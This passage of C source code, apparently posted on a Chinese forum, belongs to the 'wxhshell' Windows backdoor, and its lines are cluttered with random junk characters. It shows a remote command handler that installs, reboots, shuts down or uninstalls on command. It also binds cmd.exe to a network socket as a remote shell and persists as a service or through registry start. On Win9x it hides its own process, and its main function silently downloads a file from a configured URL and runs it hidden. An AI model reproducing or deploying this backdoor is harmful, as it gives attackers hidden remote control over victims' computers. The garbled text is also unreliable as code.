    switch(cmd[0]) { OxC8xB;`  
  fHLt{!O  
  // 帮助 [Zpx :r}  
  case '?': { !bq3c(d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R^ln-H;  
    break; G2[? b2)8  
  } t|5T,YFG  
  // 安装 WXj iKW(  
  case 'i': { \{@n >Mh  
    if(Install()) Gkr]8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?zCON  
    else it#,5#Y:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ ";^nk*  
    break; n9w(Z=D\  
    } na4^>:r~  
  // 卸载 V#P`FX  
  case 'r': { eVetG,["  
    if(Uninstall()) 6z'3e\x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZ&I4-  
    else 7:S4 Ur  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); og~Uv"&?T  
    break; Po1/_# mu  
    } 0XWhSrHM  
  // 显示 wxhshell 所在路径 mH,L,3R;R  
  case 'p': { JS^QfT,zE  
    char svExeFile[MAX_PATH]; ceUhCb  
    strcpy(svExeFile,"\n\r"); v\3 \n3[u  
      strcat(svExeFile,ExeFile); ,8`CsY^1  
        send(wsh,svExeFile,strlen(svExeFile),0); ;S5J"1)O~  
    break; MV?#g-5  
    } SqosJ}K  
  // 重启 0^m`jD  
  case 'b': { H5)8TR3La  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (oxMBd+n1  
    if(Boot(REBOOT)) 0zHMtC1 ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#|tcHVFT  
    else { G &QGQ  
    closesocket(wsh); /7CV7=^d,  
    ExitThread(0); G(fS__z  
    } b3M`vJ+{  
    break; ?nCo?A  
    } w2(pgWed  
  // 关机 JGRL&MG4  
  case 'd': { unB`n'L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nc[Kh8N9  
    if(Boot(SHUTDOWN)) xo.k:F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iRIO~XVo  
    else { )7jJ3G*  
    closesocket(wsh); !SPu9:  
    ExitThread(0); =A]*r9  
    } sd,KB+)  
    break; WcOnv'l,  
    } +.2O Z3(  
  // 获取shell c.eUlr_ {  
  case 's': { z4iTf8  
    CmdShell(wsh); uz /Wbc>y  
    closesocket(wsh); qGXY  
    ExitThread(0); >|1$Pv?  
    break; r?$ V;Z  
  } QnTKo&|9  
  // 退出 ' 5xvR G  
  case 'x': { t}wwRWo2?f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dZ,IXA yB  
    CloseIt(wsh); L']"I^( N  
    break; &`%J1[dy  
    } bn#'o(Lp  
  // 离开 2/>u8j  
  case 'q': { \n>7T*iM&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WdZ_^  
    closesocket(wsh); ]k# iA9I  
    WSACleanup(); eD,'M  
    exit(1); o6/"IIso3  
    break; gski:C   
        } M3 &GO5<  
  } L6 IIk  
  } =fcM2O#$  
v vzPt.ag  
  // 提示信息 Qv}TUX4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EpCF/i?9:  
} C7=N`s}  
  } ,.z?=]'en  
NA!?.zn  
  return; eqSCE6r9x  
} ~Z:)Y*  
ufn% sA  
// shell模块句柄 7ND4Booul  
int CmdShell(SOCKET sock) L-DL)8;`  
{ fl}! V4  
STARTUPINFO si; GCj[ySCD  
ZeroMemory(&si,sizeof(si)); Gq]/6igzX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :ggXVwpe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +.-g`Vyz*  
PROCESS_INFORMATION ProcessInfo; cb5T-'hY  
char cmdline[]="cmd"; y!VL`xV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tNG[|Bi#  
  return 0; BIXbdo5F  
} O<P(UT"  
W+I""I*mV  
// 自身启动模式 bk|?>yd  
int StartFromService(void) !<vy!pXg  
{ 0WSOA[R%[b  
typedef struct L_Xbca=  
{ nIWY<Z"  
  DWORD ExitStatus; Vtv~jJ{m  
  DWORD PebBaseAddress; 6&;h+;h  
  DWORD AffinityMask; D!V~g72j  
  DWORD BasePriority; s=>^ 8[0O  
  ULONG UniqueProcessId; "BZL*hHq  
  ULONG InheritedFromUniqueProcessId; ENy$sS6[D  
}   PROCESS_BASIC_INFORMATION; jx#9  
L0;XzZ S  
PROCNTQSIP NtQueryInformationProcess; ~5o2jTNy`p  
F<4>g+Ag  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D]twid~OS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pnTz.)'46  
fXSuJ<G  
  HANDLE             hProcess; u&Yd+');  
  PROCESS_BASIC_INFORMATION pbi; "$.B@[iY@  
[0!*<%BgK'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ :}la  
  if(NULL == hInst ) return 0; ?=,7'@e  
3Mq%3jX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'iU+mRLp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '?Xf(6o1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^fj30gw7\5  
A_Y5{6@  
  if (!NtQueryInformationProcess) return 0; Oe21noL  
`Y3\R#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O4cBn{Dq9  
  if(!hProcess) return 0; &ZL4/e  
G2&,R{L6w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }yaM.+8.  
N, ,[V  
  CloseHandle(hProcess); L;=3n[^x  
>avkiT2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X]_9g[V  
if(hProcess==NULL) return 0; u{cb[M  
SB`xr!~A]  
HMODULE hMod; Y,?kS dS  
char procName[255]; d~q7!  
unsigned long cbNeeded; n-{.7  
?u5jX J0L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P8[k1"c!  
\A6 }=  
  CloseHandle(hProcess); _ BoA&Ism  
PPde!}T$  
if(strstr(procName,"services")) return 1; // 以服务启动 p]qz+Z/  
!ScEA=  
  return 0; // 注册表启动 p }e| E!  
} YIF|8b\  
aTkMg  
// 主模块 3G'cDemc  
int StartWxhshell(LPSTR lpCmdLine) ^iWJqpLe  
{ g"N&*V2  
  SOCKET wsl; +LlAGg]Z  
BOOL val=TRUE; I#'yy7J  
  int port=0; U, 8mYv2|  
  struct sockaddr_in door; BKV:U\QZ  
!AG oI7W}  
  if(wscfg.ws_autoins) Install(); Q$Rp?o&  
:o:Z   
port=atoi(lpCmdLine); p*l=rni4  
S{Zf}8?6$  
if(port<=0) port=wscfg.ws_port; iI3,q-LA  
t]T't='  
  WSADATA data; G[=;519  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  tYG6Gl  
lQv (5hIm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TAq[g|N-;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *;l[|  
  door.sin_family = AF_INET; 7=s7dYlu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); So= BcX-  
  door.sin_port = htons(port); vGOO"r(xL  
X<H{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DT_%Rz~<  
closesocket(wsl); @+a}O  
return 1; -;Te+E_  
} & x$ps  
ZH`(n5  
  if(listen(wsl,2) == INVALID_SOCKET) { ^O}J',Fm%f  
closesocket(wsl); 4wWfaL5"  
return 1; u4'B  
} eIOMW9Ivt  
  Wxhshell(wsl); 2cwJ);Eg2  
  WSACleanup(); xIH= gK  
5=b6B=\*~  
return 0; R,fAl"wMu  
"bz.nE*  
} ND/oKM+?  
h gu\~}kD  
// 以NT服务方式启动 wYDdy gS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lt i2KY}/%  
{ |{RCvm  
DWORD   status = 0; 9v1Snr  
  DWORD   specificError = 0xfffffff; {;O j  
],{M``]q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 24sQon  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WXG0Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AmQsay#I_  
  serviceStatus.dwWin32ExitCode     = 0; P<;Puww/  
  serviceStatus.dwServiceSpecificExitCode = 0; EKS?3z%!  
  serviceStatus.dwCheckPoint       = 0; -J0OtrZ  
  serviceStatus.dwWaitHint       = 0; 2wa'WEx  
Io t c>!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D&pp <  
  if (hServiceStatusHandle==0) return; sXtt$HID=  
kh8 M=  
status = GetLastError(); h>p,r\X  
  if (status!=NO_ERROR) m}]QP\  
{ A|GsbRuy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,c 0]r;u!  
    serviceStatus.dwCheckPoint       = 0; 5bd4]1 gj  
    serviceStatus.dwWaitHint       = 0; VV sE]7P ]  
    serviceStatus.dwWin32ExitCode     = status; %cJdVDW`L  
    serviceStatus.dwServiceSpecificExitCode = specificError; q29d=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4s`U/F  
    return; (j(9'DjP  
  } 1~j,A[&|<  
U ,!S1EiBs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DiZ;FHnaG?  
  serviceStatus.dwCheckPoint       = 0; @!|h!p;  
  serviceStatus.dwWaitHint       = 0; t gHN\@yj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ e.Bz `  
} 0_,un^  
{bG.X?b  
// 处理NT服务事件,比如:启动、停止 xk3)#*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qQ1D}c@  
{ _ q AT%.  
switch(fdwControl) ~f( #S*Ic  
{ s>[Oe|`  
case SERVICE_CONTROL_STOP: T5}5uk9  
  serviceStatus.dwWin32ExitCode = 0; g|h;*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z_7TD)  
  serviceStatus.dwCheckPoint   = 0; Fq`@sM $  
  serviceStatus.dwWaitHint     = 0; %NfH`%`  
  { 02)Ybp6y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +UX} "m~W  
  } vl?fCO  
  return; 54/ZGaonz  
case SERVICE_CONTROL_PAUSE: T'9M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !1@o Z(  
  break; c(Fo-4K  
case SERVICE_CONTROL_CONTINUE: lE!.$L*k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :9(w~bB9$  
  break; _@VKWU$$  
case SERVICE_CONTROL_INTERROGATE: &B++ "f  
  break; db}lN  
}; 7HL23Vr k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LX #.  
} 9*Fc+/  
aC<fzUD;  
// 标准应用程序主函数 jpOcug`f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $$*0bRfd4=  
{ |!1iLWQ  
ldc`Y/:{  
// 获取操作系统版本 (a~V<v"  
OsIsNt=GetOsVer(); Yp8XZ 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,mKUCG  
woN d7`C}7  
  // 从命令行安装 ?,C'\8'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 75A60Uw  
pK'D(t  
  // 下载执行文件 Ye^xV,U@  
if(wscfg.ws_downexe) { Q8h=2YL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6;Mv)|FJF  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3E>]6  
} [|YJg]i-  
H>"P]Y)oX  
if(!OsIsNt) { !\5)!B  
// 如果时win9x,隐藏进程并且设置为注册表启动 'b+ Tio  
HideProc(); `8TL*.9  
StartWxhshell(lpCmdLine); E~8J<g E  
} Eh[NKgYL  
else u/wWD@,  
  if(StartFromService()) Jq+@%#G  
  // 以服务方式启动 @[n%q.|VB  
  StartServiceCtrlDispatcher(DispatchTable); EJJ&`,q  
else Tc|+:Usy  
  // 普通方式启动 %;J$ h^  
  StartWxhshell(lpCmdLine); N ]GF>kf:  
cCIs~*D  
return 0; dbF9%I@  
}
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只看该作者 1 发表于: 2006-10-10
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